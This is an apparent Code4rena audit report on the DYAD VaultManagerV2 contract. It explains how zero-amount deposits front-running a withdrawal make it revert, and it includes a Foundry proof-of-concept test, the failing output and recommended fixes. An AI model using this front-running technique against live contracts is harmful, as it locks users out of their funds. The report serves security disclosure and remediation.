DYAD - caglankaan's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L119-L143

Vulnerability details

Impact

The VaultManagerV2 contract manages the deposit and withdrawal of assets associated with specific NFTs. The contract interacts with a Vault contract that manages asset storage. Two functions in the VaultManagerV2 contract, deposit and withdraw, contain vulnerabilities related to improper validation and control of deposit transactions, specifically within the context of the block timing and management of asset transactions.

Proof of Concept

Deposit Function Vulnerability:

1. Function Invocation: The deposit function is called, which allows a user to deposit a specified amount of assets into the vault associated with an NFT (specified by id).

2. Block Number Recording: Upon successful deposit, the block number of the transaction is recorded in idToBlockOfLastDeposit[id].

3. Asset Transfer and Deposit Call: The function then executes an asset transfer from the message sender to the vault, followed by calling the vault's internal deposit method.

   Vulnerability: The function does not validate if the amount deposited is greater than zero. It also does not check if the caller is the NFT owner or has any authorization related to the NFT, aside from being valid (checked via isValidDNft(id)).

Withdraw Function Block Number Manipulation:

1. Function Invocation: A user calls the withdraw function to remove assets from the vault.

2. Deposit Manipulation: An attacker listens for withdrawal attempts and executes a deposit of zero assets within the same block.

3. Block Number Conflict: The withdraw function checks if the last deposit was made within the same block using idToBlockOfLastDeposit[id]. If it was, the transaction reverts with DepositedInSameBlock.

   Outcome: Legitimate withdrawals are blocked if an attacker repeatedly deposits zero assets for the same id in the same block, causing denial of service for withdrawals.

  function test_blockWithdrawWithDeposit() public{

    uint id = mintDNft();
    deposit(weth, id, address(wethVault), 1e18);
    vm.roll(10); // To pass deposit / withdraw same block issue, which is ironically one of the issue :D
    weth.mint(ATTACKER, 1); // Mint attacker only 1 weth (like weth/1e18)
    assertEq(weth.balanceOf(ATTACKER), 1);
    address originalSender = msg.sender; // This is the original sender who is trying to send `withdraw` request
    vm.stopPrank();
    vm.startPrank(ATTACKER); // Now a malicious actor sees this request in memory pool and sends a `deposit` request to be execute before 
    // original sender's request. 
    // `idToBlockOfLastDeposit[id] = block.number;` because of the assignment here, on the `withdraw` function
    // `if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();` this if statement will be passed
    // And the original sender won't be able to withdraw anything and a  malicious actor blocks user with not sending anything.
    vaultManager.deposit(id, address(wethVault), 0);
    vm.stopPrank();

    vm.prank(originalSender);
    assertEq(weth.balanceOf(originalSender), 0);
    console.log("It will fail after this withdraw.");
    vaultManager.withdraw(id, address(wethVault), 1e18, originalSender);
    assertEq(weth.balanceOf(originalSender), 1e18);
  }

And the output is:

[PASS] test_addTwoVaults() (gas: 315119)
[FAIL. Reason: DepositedInSameBlock()] test_blockWithdrawWithDeposit() (gas: 433647)
Logs:
  It will fail after this withdraw.

Tools Used

Manual review

Recommended Mitigation Steps

Recommendations

Deposit Function Improvements:

• Check for Non-Zero Deposits: Modify the deposit function to require that amount is greater than zero. This prevents the recording of unnecessary block numbers when no actual assets are transferred.

  Code Change:

  require(amount > 0, "Deposit amount must be greater than zero");

• Owner or Authorized User Validation: Ensure that only the NFT owner or an authorized user can deposit assets.

  Code Change:

 isDNftOwner(id)

Assessed type

DoS